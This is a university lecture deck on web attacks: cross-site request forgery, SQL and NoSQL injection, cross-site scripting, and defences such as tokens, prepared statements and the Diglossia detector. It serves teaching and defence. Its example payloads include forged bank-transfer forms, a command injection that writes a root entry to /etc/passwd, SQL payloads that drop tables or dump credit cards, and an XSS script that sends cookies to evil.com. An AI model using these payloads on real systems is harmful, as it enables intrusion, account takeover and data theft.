Web Attacks:
cross-site request forgery,
SQL injection, cross-site scripting

Vitaly Shmatikov
Web Applications

◆ Big trend: software as a Web-based service
  • Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc.
  • Cloud-hosted applications

◆ Application code split between client and server
  • Client (Web browser): JavaScript
  • Server: PHP, Ruby, Java, Perl, ASP ...

◆ Security is rarely the main concern
  • Poorly written scripts with inadequate input validation
  • Inadequate protection of sensitive data
Top Web Vulnerabilities

- **XSRF (CSRF) - cross-site request forgery**
  - Bad website forces the user’s browser to send a request to a good website

- **SQL injection**
  - Malicious data sent to a website is interpreted as code in a query to the website’s back-end database

- **XSS (CSS) – cross-site scripting**
  - Malicious code injected into a trusted context (e.g., malicious data presented by a trusted website interpreted as code by the user’s browser)
Cookie-Based Authentication

POST/login.cgi

Set-cookie: authenticator

GET...
Cookie: authenticator

response
Browser Sandbox Redux

- Based on the same origin policy (SOP)
- Active content (scripts) can send anywhere!
  - Except for some ports such as SMTP
- Can only read response from the same origin
Cross-Site Request Forgery

- Users logs into bank.com, forgets to sign off
  - Session cookie remains in browser state
- User then visits a malicious website containing
  <form name=BillPayForm
  action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  <script> document.BillPayForm.submit(); </script>
- Browser sends cookie, payment request fulfilled!
  - Cookie authentication is not sufficient when side effects can happen!
Sending a Cross-Domain POST

<form method="POST" action="http://othersite.com/file.cgi" encoding="text/plain">
<input type="hidden" name="Hello world!\nn2¥+2¥" value="4¥">
</form>

<script>document.forms[0].submit()</script>

Hidden iframe can do this in the background
User visits attacker’s page, it tells the browser to submit a malicious form on behalf of the user

- Hijack any ongoing session
  - Netflix: change account settings, Gmail: steal contacts
- Reprogram the user’s home router
- Many other attacks possible
Cookies in Forged Requests

www.attacker.com

GET /blog HTTP/1.1

Victim Browser

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
Recipient=attacker&amount=$100

Cookie: SessionID=523FA4cd2E

POST /transfer HTTP/1.1
Recipient=attacker&amount=$100

HTTP/1.1 200 OK
Transfer complete!

www.bank.com

<form action=https://www.bank.com/transfer method=POST target=invisibleframe>
<input name=recipient value=attacker>
<input name=amount value=$100>
</form>
<script>document.forms[0].submit();</script>

User credentials
XSRF (aka CSRF): Summary

1. Establish session
2. Visit server
3. Receive malicious page
4. Send forged request

Q: How long do you stay logged on to Gmail? Financial sites?
Remember Drive-By Pharming?

1. configure router
2. visit site
3. receive malicious page
4. send forged request
XSRF True Story (1)

- User has a Java stock ticker from his broker’s website running in his browser
  - Ticker has a cookie to access user’s account on the site
- A comment on a public message board on finance.yahoo.com points to “leaked news”
  - TinyURL redirects to cybervillians.com/news.html
- User spends a minute reading a story, gets bored, leaves the news site
- Gets his monthly statement from the broker - $5,000 transferred out of his account!
Hidden iframes submitted forms that...
- Changed user’s email notification settings
- Linked a new checking account
- Transferred out $5,000
- Unlinked the account
- Restored email notifications
XSRF Defenses

- Secret validation token
  
  ```html
  <input type=hidden value=23a3af01b>
  ```

- Referer validation
  
  ```html
  Referer:
  http://www.facebook.com/home.php
  ```

- Custom HTTP header
  
  ```html
  X-Requested-By: XMLHttpRequest
  ```
Add Secret Token to Forms

◆ Hash of user ID
  • Can be forged by attacker

◆ Session ID
  • If attacker has access to HTML or URL of the page (how?), can learn session ID and hijack the session

◆ Session-independent nonce – Trac
  • Can be overwritten by subdomains, network attackers

◆ Need to bind session ID to the token
  • CSRFx, CSRFGuard - manage state table at the server
  • Keyed HMAC of session ID – no extra state!
Secret Token: Example

![Image of a web interface for adding a slice with options for different slice sizes and a hidden input field for an authenticity token. The token value is highlighted.]
Referer Validation

- **Lenient** referer checking – header is optional
- **Strict** referer checking – header is required

Referer:

- ![Valid Referer](http://www.facebook.com/home.php)
- ![Invalid Referer](http://www.evil.com/attack.html)
- ![Question Referer](http://www.unknown.com/unknown.html)
Why Not Always Strict Checking?

Why might the referer header be suppressed?

- Stripped by the organization’s network filter
- Stripped by the local machine
- Stripped by the browser for HTTPS → HTTP transitions
- User preference in browser
- Buggy browser

Web applications can’t afford to block these users

Referer rarely suppressed over HTTPS
XSRF with Lenient Referer Checking

http://www.attacker.com

redirects to

common browsers don’t send referer header

ftp://www.attacker.com/index.html
javascript:"<script> /* XSRF */ </script>"
data:text/html,<script> /* XSRF */ </script>"
Custom Header

XMLHttpRequest is for same-origin requests
- Browser prevents sites from sending custom HTTP headers to other sites, but can send to themselves
- Can use setRequestHeader within origin

Limitations on data export
- No setRequestHeader equivalent
- XHR 2 has a whitelist for cross-site requests

POST requests via AJAX

```
X-Requested-By: XMLHttpRequest
```

No secrets required
Broader View of XSRF

◆ Abuse of cross-site data export
  - SOP does not control data export
  - Malicious webpage can initiate requests from the user’s browser to an honest server
  - Server thinks requests are part of the established session between the browser and the server

◆ Many reasons for XSRF attacks, not just “session riding”
Login XSRF

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>
</form>
<script>document.forms[0].submit();</script>

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

www.google.com
Referer Header Helps, Right?

---

- **GET /blog HTTP/1.1** from www.attacker.com to Victim Browser
- **POST /login HTTP/1.1**
  - Referer: http://www.attacker.com/blog
  - Cookies: SessionID=ZA1Fa34
- **HTTP/1.1 200 OK**
  - Set-Cookie: SessionID=ZA1Fa34
- **GET /search?q=llamas HTTP/1.1**
  - Cookies: SessionID=ZA1Fa34

---

Web History for attacker
Apr 7, 2008
9:20pm | Searched for llamas
Laundering Referer Header

referer: http://www.siteA.com

referer: ??? (browser-dependent)

slide 23
XSRF Recommendations

◆ Login XSRF
  • Strict referer validation
  • Login forms typically submitted over HTTPS, referer header not suppressed

◆ HTTPS sites
  • Strict referer validation

◆ Other sites
  • Use Ruby-on-Rails or other framework that implements secret token method correctly
Other Identity Misbinding Attacks

◆ User’s browser logs into website, but the session is associated with the attacker
  • Capture user’s private information (Web searches, sent email, etc.)
  • Present user with malicious content

◆ Many examples
  • Login XSRF
  • OpenID
  • PHP cookieless authentication
PHP Cookieless Authentication

www.attacker.com

<script>
    location.href = "http://hushmail.com/" + "compose?PHPSESSID=ZA1Fa34;";
</script>

GET /blog HTTP/1.1

Victim Browser

GET /compose?PHPSESSID=ZA1Fa34 HTTP/1.1

hushmail.com

HTTP/1.1 200 OK
Server Side of Web Application

- Runs on a Web server (application server)
- Takes input from remote users via Web server
- Interacts with back-end databases and other servers providing third-party content
- Prepares and outputs results for users
  - Dynamically generated HTML pages
  - Content from many different sources, often including users themselves
    - Blogs, social networks, photo-sharing websites...
Dynamic Web Application

GET / HTTP/1.0

HTTP/1.1 200 OK

index.php

Browser

Web server

Database server
PHP: Hypertext Preprocessor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code
  <input value= <?php echo $myvalue; ?>>
- Can embed variables in double-quote strings
  $user = "world"; echo "Hello $user!";
  or $user = "world"; echo "Hello" . $user . "!";
- Form data in global arrays $_GET, $_POST, ...
Command Injection in PHP

Typical PHP server-side code for sending email

```php
$email = $_POST["email"]
$subject = $_POST["subject"]
system("mail $email -s $subject < /tmp/joinmynetwork")
```

Attacker posts

```plaintext
http://yourdomain.com/mail.pl?
  email=hacker@hackerhome.net&
  subject=foo < /usr/passwd; ls
```

OR

```plaintext
http://yourdomain.com/mail.pl?
  email=hacker@hackerhome.net&subject=foo;
  echo "evil::0:0:root::/:/bin/sh" > /etc/passwd; ls
```
SQL

- Widely used database query language
- Fetch a set of records
  
  ```sql
  SELECT * FROM Person WHERE Username='Vitaly'
  ```
- Add data to the table
  
  ```sql
  INSERT INTO Key (Username, Key) VALUES ('Vitaly', 3611BBFF)
  ```
- Modify data
  
  ```sql
  UPDATE Keys SET Key=FA33452D WHERE PersonID=5
  ```
- Query syntax (mostly) independent of vendor
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " . "WHERE Username='$selecteduser'";
$rs = $db->executeQuery($sql);

What if ‘user’ is a malicious string that changes the meaning of the query?
Typical Login Prompt

![Login Prompt Image]
User Input Becomes Part of Query

Web browser (Client) → Web server

Enter Username & Password

SELECT passwd FROM USERS WHERE uname IS 'user'

DB
Normal Login

Web browser (Client) → Enter Username & Password → Web server

SELECT passwd FROM USERS WHERE uname IS 'smith' → DB
Malicious User Input

![User Login - Microsoft Internet Explorer](image)

- Enter User Name: `'; DROP TABLE USERS; --`
- Enter Password: ••••••••

**Note:** The login form contains malicious SQL code that attempts to drop the `users` table.
SQL Injection Attack

- Enter Username & Password
- Web server
- SELECT passwd FROM USERS WHERE uname IS ''; DROP TABLE USERS; -- '
- Eliminates all user accounts

Web browser (Client) ➔ Web server ➔ DB
Exploits of a Mom

http://xkcd.com/327/

HI, THIS IS YOUR SON'S SCHOOL. WE'RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR – DID HE BREAK SOMETHING? IN A WAY–

DID YOU REALLY NAME YOUR SON Robert'); DROP TABLE Students;--?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE'VE LOST THIS YEAR'S STUDENT RECORDS. I HOPE YOU'RE HAPPY.

AND I HOPE YOU'VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.
This is an input validation vulnerability
- Unsanitized user input in SQL query to back-end database changes the meaning of query

Special case of code injection
Authentication with Back-End DB

- set UserFound=execute(
  "SELECT * FROM UserTable WHERE username=' " & form("user") & " ' AND password= ' " & form("pwd") & " ' "");

User supplies username and password, this SQL query checks if user/password combination is in the database

- If not UserFound.EOF
  Authentication correct
else Fail

Only true if the result of SQL query is not empty, i.e., user/pwd is in the database
Using SQL Injection to Log In

- User gives username ' OR 1=1 --
- Web server executes query

```
set UserFound=execute(
    SELECT * FROM UserTable WHERE
    username=' OR 1=1 -- ...
);
```

- Now all records match the query, so the result is not empty ⇒ correct “authentication”!

Always true!  Everything after -- is ignored!
Pull Data From Other Databases

- User gives username

  `AND 1=0
  UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards`

- Results of two queries are combined

- Empty table from the first query is displayed together with the entire contents of the credit card database
Second-Order SQL Injection

- Data stored in the database can be later used to conduct SQL injection
- For example, user manages to set username to admin' --
  - \text{UPDATE USERS SET passwd='cracked' WHERE uname='admin' --'}
  - This vulnerability could occur if input validation and escaping are applied inconsistently
    - Some Web applications only validate inputs coming from the Web server but not inputs coming from the back-end DB
- Solution: treat all parameters as dangerous
SQL Injection in the Real World

CardSystems
- 40M credit card accounts [Jun 2005]

Heartland Payment Systems
- 134M credit card accounts [Mar 2008]

Yahoo!
- 450,000 passwords [Jul 2012]

CyberVor booty
- 1.2 billion accounts [Reported in 2014]
  from 420,000 websites
Preventing SQL Injection

◆ Validate all inputs
  - Filter out any character that has special meaning
    – Apostrophes, semicolons, percent symbols, hyphens, underscores, ...
  - Check the data type (e.g., input must be an integer)

◆ Whitelist permitted characters
  - Blacklisting “bad” characters doesn’t work
    – Forget to filter out some characters
    – Could prevent valid input (e.g., last name O’Brien)
  - Allow only well-defined set of safe values
    – Implicitly defined through regular expressions
Escaping Quotes

- Special characters such as ’ provide distinction between data and code in queries
- For valid string inputs containing quotes, use escape characters to prevent the quotes from becoming part of the query code
- Different databases have different rules for escaping
  - Example: escape(o’connor) = o\’connor or escape(o’connor) = o”connor
Prepared Statements

In most injection attacks, data are interpreted as code – this changes the semantics of a query or command generated by the application.

**Bind variables**: placeholders guaranteed to be data (not code)

**Prepared statements** allow creation of static queries with bind variables; this makes the structure of the query independent of the actual inputs.
Prepared Statement: Example

http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html

PreparedStatement ps =
    db.prepareStatement("SELECT pizza, toppings, quantity, order_day "
    + "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParameter("month")));
ResultSet res = ps.executeQuery();

- Query is parsed without data parameters
- Bind variables are typed (int, string, ...)
- But beware of second-order SQL injection...
Parameterized SQL in ASP.NET

Builds SQL queries by properly escaping args

- Replaces ' with \\

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE
    username = @User AND
    password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request["user"]);

cmd.Parameters.Add("@Pwd", Request["pwd"]);

cmd.ExecuteReader();
```
NoSQL

- New class of distributed, scalable data stores
  - MongoDB, DynamoDB, CouchDB, Cassandra, others
- Store data in key-value pairs

Source: Jeff Kelly, WikiBon
NoSQL Injection Attack (1)

If( $document ) {
    $document = findMongoDbDocument( $_REQUEST['search'],
    $_REQUEST['db'],
    $_REQUEST['collection'], true );
    $customId = true;
}

…

function findMongoDbDocument( $id, $db, $collection, $forceCustomId = false ) {
    ...
    ....
    ....
    // MongoDB find API
    $document = $collection->findOne( array( '_id' => $id ) );
}


$id = array( "$ne" => 1 )

This operation now returns any record
NoSQL Injection Attack (2)

http://victimHost/target.php?user=1; return 1;}//

// Build a JavaScript query from user input.
$fquery = " function () {
    ......
    ......
    var userType = " . $_GET['user']
    ......
    if( this.showprivilege == userType ) return true;
    else return false;
}";
...

$result = $collection->find( array( '$where' => $fquery ) );

This JavaScript query always returns true

function () {
    var userType=1;
    return 1;
} // ... }
Finding Injection Vulnerabilities

- Static analysis of Web applications to find potential injection vulnerabilities
- Sound
  - Tool is guaranteed to find all vulnerabilities
- Precise
  - Models semantics of sanitization functions
  - Models the structure of the SQL query into which untrusted user inputs are fed

[Wassermann and Su. “Sound and Precise Analysis of Web Applications for Injection Vulnerabilities”. PLDI 2007]
“Essence” of SQL Injection

- Web app provides a template for the SQL query
- Attack = any query in which user input changes the intended structure of the SQL query
- Model strings as context-free grammars (CFG), track non-terminals representing tainted input
- Model string operations as language transducers
  - Example: str_replace(" ', '"", " ', '"", $input)

A matches any char except " ' "
Phase One: Grammar Production

- Generate annotated CFG representing set of all query strings that program can generate

```php
01 isset ($_GET['userid']) ?
02     $userid = $_GET['userid'] : $userid = '';
03 if ($USER['groupid'] != 1)
04 {
05     // permission denied
06     unp_msg($gp_permerror);
07     exit;
08 }
09 if ($userid == '')
10 {
11     unp_msg($gp_invalidrequest);
12     exit;
13 }
14 if (!ereg('+[0-9]+', $userid))
15 {
16     unp_msg('You entered an invalid user ID.');
17     exit;
18 }
19 $getuser = $DB->query("SELECT * FROM `unp_user` WHERE userid='$userid'");
20 if (!$DB->is_single_row($getuser))
21 {
22     unp_msg('You entered an invalid user ID.');
23     exit;
24 }
25 ...
```

Example code with an SQLCIV.

**Direct:** data directly from users (e.g., GET parameters)

**Indirect:** second-order tainted data (means what?)

Grammar productions of possible query strings

query → query1
query1 → query2 userid
query2 → query3 WHERE userid=
query3 → SELECT * FROM `unp_user`
userid → GETuid
GETuid → Σ* [0–9] Σ*
String Analysis + Taint Analysis

- Convert program into static single assignment form, then into CFG
  - Reflects data dependencies
- Model PHP filters as string transducers
  - Some filters are more complex:
    ```
    preg_replace("/a([0-9]*)b/", "x\1\1y", "a01ba3b") produces "x0101yx33y"
    ```
- Propagate taint annotations
Phase Two: Checking Safety

Check whether the language represented by CFG contains unsafe queries

- Is it syntactically contained in the language defined by the application’s query template?

```
query    → query1'
query1   → query2 userid
query2   → query3 WHERE userid='
query3   → SELECT * FROM `unp_user`
userid   → GETuid
GETuid   → Σ* [0–9] Σ*

direct = {GETuid}    indirect = {}
```

This non-terminal represents tainted input

For all sentences of the form $\sigma_1 \text{GETUID} \sigma_2$ derivable from query, GETUID is between quotes in the position of an SQL string literal

Safety check:
Does the language rooted in GETUID contain unescaped quotes?
Tainted Substrings as SQL Literals

- Tainted substrings that cannot be syntactically confined in any SQL query
  - Any string with an odd number of unescaped quotes
- Nonterminals that occur only in the syntactic position of SQL string literals
  - Can an unconfined string be derived from it?
- Nonterminals that derive numeric literals only
- Remaining nonterminals in literal position can produce a non-numeric string outside quotes
  - Probably an SQL injection vulnerability
  - Test if it can derive DROP WHERE, --, etc.
Taints in Non-Literal Positions

- Remaining tainted nonterminals appear as non-literals in SQL query generated by the application
  - This is rare (why?)
- All derivable strings should be proper SQL statements
  - Context-free language inclusion is undecidable
  - Approximate by checking whether each derivable string is also derivable from a nonterminal in the SQL grammar
Evaluation

- Testing on five real-world PHP applications
- Discovered previously unknown vulnerabilities, including non-trivial ones
  - Vulnerability in e107 content management system: a field is read from a user-modifiable cookie, used in a query in a different file
- 21% false positive rate
  - What are the sources of false positives?
Example of a False Positive

```php
isset($_GET['newsid']) ?
    $getnewsid = $_GET['newsid'] ?
    $getnewsid = false;
if (($getnewsid != false) &&
    (!preg_match('/^[\d]+$/', $getnewsid)))
{
    unp_msg('You entered an invalid news ID.');
    exit;
}
...
if (!$showall && $getnewsid)
{
    $getnews = $DB->query("SELECT * FROM `unp_news`
        ."WHERE `newsid`='$getnewsid'
        ."ORDER BY `date`DESC LIMIT 1");
}
Challenge #1:
pinpoint user-injected parts in the query
Requires precise, byte- or character-level taint tracking

Not enough!
Detecting Injection at Runtime (2)

Challenge #2:
decide whether tainted parts of the query are code or data

- Check if keywords or operators are tainted [Halfond et al.]
- Check regular expressions on tainted string values [Xu et al.]
- Check if tainted part is an ancestor of complete leaf nodes [Su et al.]
- Check if tainted query is syntactically isomorphic to a query generated from a benign input [Bandhakavi et al.]

All suffer from false positives and negatives 😞
Defining Code Injection

- **Ray-Ligatti definition:**
  - Non-code is the closed values, everything else is code
    - Closed value = fully evaluated with no free variables (string and integer literals, pointers, lists of values, etc.)
  - Code injection occurs when tainted input values are parsed into code

- **Example 1:**
  SELECT * FROM t WHERE flag = password

- **Example 2:**
  SELECT * FROM t WHERE name = 'x'

Diglossia

**PHP extension that detects SQL and NoSQL injection attacks with no changes to applications, databases, query languages, or Web servers**

**diglossia** (/dɪˈɡlɒsiə/): A situation in which **two languages** (or two varieties of the same language) are used under **different conditions** within a **community**, often by the same speakers

Diglossia: Taint Tracking

- Input string value
- Untainted value
  - String operation
  - Tainted value
- Input string value
  - Original chars
  - Untainted value
  - Character remapping
  - Shadow chars
  - Shadow value
  - Mix of original and shadow chars
Diglossia: Detecting Code Injection

Tainted value

Dual parser

Tainted value

1. Syntactically isomorphic
2. Only shadow chars in code terminals

Shadow value

Mix of original and shadow chars
Diglossia: Character Remapping

- Dynamically generate shadow characters so that they are guaranteed not to occur in user input
  - Original characters
    - 84 ASCII characters
    - Alphabet and special characters
  - Shadow characters
    - Randomly selected UTF-8 characters
- Remap all untainted characters

<table>
<thead>
<tr>
<th>Original</th>
<th>=&gt;</th>
<th>Shadow</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>=&gt;</td>
<td>가</td>
</tr>
<tr>
<td>I</td>
<td>=&gt;</td>
<td>나</td>
</tr>
<tr>
<td>F</td>
<td>=&gt;</td>
<td>다</td>
</tr>
<tr>
<td>O</td>
<td>=&gt;</td>
<td>사</td>
</tr>
</tbody>
</table>
Diglossia: Dual Parser

**Mapping Table (CT)**
- A => 가
- I => 나
- F => 다
- ...

**Original Parser (P)**
- IF
- ELSE
- DO
- ...

**Dual Parser (P_Ct)**
- IF, 나다
- ELSE, 마바사마
- DO, 아자
- ...

**Diagram**
- A, I, F being mapped to 가, 나, 다 respectively.
- IF, ELSE, DO being translated to 나다, 마바사마, 아자.
Detecting Code Injection (Example)

 Parse the query and its shadow in tandem

- SELECT * FROM t WHERE id = password
- map(SELECT) map(*) map(FROM) map(t) map(WHERE) map(id) map(=) password

Code injection!
Advantages of Diglossia

- Diglossia is the first tool to accurately detect code injection attacks on Web applications
  - Relies on (almost) Ray-Ligatti definition of code injection
  - Transforms the problem of detecting code injection attacks into a string propagation and parsing problem
  - New techniques: value shadowing and dual parsing
- Very efficient
- Fully legacy-compatible: no changes to application source code, databases, Web servers, etc.
Limitations of Diglossia

- Does not permit user input to be intentionally used as part of the query code
  - **This is terrible programming practice, anyway!**
- The parser used by Diglossia must be consistent with the parser used by the database
- Value shadowing based on concrete execution may be inaccurate (when can this happen?)
- Value shadowing may be incomplete if strings are passed to third-party extensions (this is rare)
Echoing or “Reflecting” User Input

Classic mistake in server-side applications


search.php responds with
<html> <title>Search results</title> <body>You have searched for <?php echo $_GET[term] ?>… </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Cross-Site Scripting (XSS)

Access some web page

\[\text{<iframe src=}\ http://naive.com/hello.cgi?\ name=\text{<script>}}\text{win.open(}\ "\text{http://evil.com/steal.cgi?cookie=\text{"+document.cookie\text{)}}\text{</script>}}\text{>}
\]

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

\[\text{GET/}\ hello.cgi?\text{name=}\text{<script>}}\text{win.open(}\ "\text{http://evil.com/steal.cgi?cookie=\text{"+document.cookie\text{)}}\text{</script>}}\text{>}
\]

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

\[\text{<HTML>}}\text{Hello, dear}\text{<script>}}\text{win.open("http://}\text{evil.com/steal.cgi?cookie=\text{"+document.cookie\text{)}}\text{</script>}}\text{Welcome!}}\text{</HTML>}}\]

evil.com

What is the ORIGIN of this script?

naive.com

How about this one?

hello.cgi

hello.cgi echoes input in generated HTML page

Why does the browser allow this?

victim’s browser
Reflected XSS

- User is tricked into visiting an honest website
  - Phishing email, link in a banner ad, comment in a blog
- Bug in website code causes it to echo to the user’s browser an **attack script**
  - The origin of this script is now the website itself!
- Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  - This violates the “spirit” of the same origin policy, but not the letter
Basic Pattern for Reflected XSS

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Send valuable data
Adobe PDF Viewer  (before version 7.9)

- PDF documents execute JavaScript code
  ```
  http://path/to/pdf/file.pdf#whatever_name_you_want=
  javascript:code_here
  ```
- The “origin” of this injected code is the domain where PDF file is hosted
XSS Against PDF Viewer

- Attacker locates a PDF file hosted on site.com
- Attacker creates a URL pointing to the PDF, with JavaScript malware in the fragment portion
  
  http://site.com/path/to/file.pdf#s=javascript:malcode

- Attacker entices a victim to click on the link

- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, malware executes
  
  - Its "origin" is site.com, so it can change content, steal cookies from site.com
Not Scary Enough?

PDF files on the local filesystem:

```
file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUttx.pdf#blah=javascript:alert("XSS");
```

JavaScript malware now runs in local context with the ability to read and write local files ...
Where Malicious Scripts Lurk

- **User-created content**
  - Social sites, blogs, forums, wikis

- **When visitor loads the page, website displays the content and visitor’s browser executes the script**
  - Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
2. request content
3. receive malicious script
4. steal valuable data

User victim

Attack server

Server victim

Users view or download content

Store bad stuff
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data **not** escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update")
```
## XSS in the Wild

http://xssed.com/archive

<table>
<thead>
<tr>
<th>Date</th>
<th>Author</th>
<th>Domain</th>
<th>R</th>
<th>S</th>
<th>F</th>
<th>PR</th>
<th>Category</th>
<th>Mirror</th>
</tr>
</thead>
<tbody>
<tr>
<td>13/09/13</td>
<td>Robert K</td>
<td><a href="http://www.paypal.com">www.paypal.com</a></td>
<td>R</td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>Aarshit Mittal</td>
<td>maps.nokia.com</td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>Aarshit Mittal</td>
<td>admin.stage.att.net</td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td><a href="http://www.enjoy.net.mm">www.enjoy.net.mm</a></td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td>chemicaltechnologyinc.com</td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td><a href="http://www.jaring.my">www.jaring.my</a></td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td><a href="http://www.seaglooffice.org">www.seaglooffice.org</a></td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td><a href="http://www.eds.com.mm">www.eds.com.mm</a></td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>20/06/13</td>
<td>Xartrick</td>
<td><a href="http://www.dolby.com">www.dolby.com</a></td>
<td></td>
<td></td>
<td></td>
<td>80524</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>20/06/13</td>
<td>rsb</td>
<td><a href="http://www.xe.gr">www.xe.gr</a></td>
<td></td>
<td></td>
<td></td>
<td>7113</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>18/04/13</td>
<td>Atm0n3r</td>
<td>pastebin.mozilla.org</td>
<td></td>
<td></td>
<td></td>
<td>156</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>14/04/13</td>
<td>Hexspirit</td>
<td><a href="http://www.kcna.kp">www.kcna.kp</a></td>
<td></td>
<td></td>
<td></td>
<td>113539</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>22/01/13</td>
<td>0c001</td>
<td><a href="http://www.athinorama.gr">www.athinorama.gr</a></td>
<td></td>
<td></td>
<td></td>
<td>13093</td>
<td>Redirect</td>
<td>mirror</td>
</tr>
<tr>
<td>13/11/12</td>
<td>Christy Philip Mathew</td>
<td>cms.paypal.com</td>
<td></td>
<td></td>
<td></td>
<td>39</td>
<td>Phishing</td>
<td>mirror</td>
</tr>
<tr>
<td>13/11/12</td>
<td>Cyb3R_Shubh4M</td>
<td><a href="http://www.ebay.com">www.ebay.com</a></td>
<td>R</td>
<td></td>
<td></td>
<td>23</td>
<td>Script Insertion</td>
<td>mirror</td>
</tr>
<tr>
<td>13/11/12</td>
<td>Cyb3R_Shubh4M</td>
<td><a href="http://www.ebay.com">www.ebay.com</a></td>
<td>R</td>
<td></td>
<td></td>
<td>23</td>
<td>Script Insertion</td>
<td>mirror</td>
</tr>
<tr>
<td>13/11/12</td>
<td>0xAli</td>
<td>answercenter.ebay.com</td>
<td>R</td>
<td></td>
<td></td>
<td>23</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>08/10/13</td>
<td>Talented Ford</td>
<td>wwwPaid-to-promote.net</td>
<td></td>
<td></td>
<td></td>
<td>39581</td>
<td>XSS</td>
<td>mirror</td>
</tr>
</tbody>
</table>
Suppose pic.jpg on web server contains HTML

- Request for http://site.com/pic.jpg results in:
  HTTP/1.1  200 OK

  ...
  Content-Type: image/jpeg
  <html> fooled ya </html>

- IE will render this as HTML (despite Content-Type)

Photo-sharing sites

- What if attacker uploads an “image” that is a script?
Using Login XSRF for XSS

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>
</form>
<script>document.forms[0].submit();</script>

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /ig
Cookie: SessionID=ZA1Fa34

HTTP/1.1 200 OK

GET /history HTTP/1.1

www.google.com
Malicious scripts may be ... 

- Contained in arguments of dynamically created JavaScript 
- Contained in JavaScript arrays 
- Dynamically written into the DOM
XSS of the Third Kind

◆ Script builds webpage DOM in the browser

```html
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
</HTML>
```

◆ Works fine with this URL
  - http://www.example.com/welcome.html?name=Joe

◆ But what about this one?
  - http://www.example.com/welcome.html?name=
  ```html
  <script>alert(document.cookie)</script>
  ```
XSS in AJAX (1)

- Downstream JavaScript arrays

```javascript
var downstreamArray = new Array();
downstreamArray[0] = "42"; doBadStuff(); var bar="ajacked";
```

- Won’t be detected by a naïve filter
  - No <>, “script”, onmouseover, etc.
- Just need to break out of double quotes
XSS in AJAX (2)

◆ JSON written into DOM by client-side script

```javascript
var inboundJSON = {
    "people": [
        {
            "name": "Joel",
            "address": "<script>badStuff();</script>",
            "phone": "911"
        }
    ];

someObject.innerHTML(inboundJSON.people[0].address); // Vulnerable
document.write(inboundJSON.people[0].address); // Vulnerable
someObject.innerText(inboundJSON.people[0].address); // Safe
```

◆ XSS may be already in DOM!
  • `document.url`, `document.location`, `document.referer`
“Backend” AJAX requests

- Client-side script retrieves data from the server using XMLHttpRequest, uses it to build webpage in browser
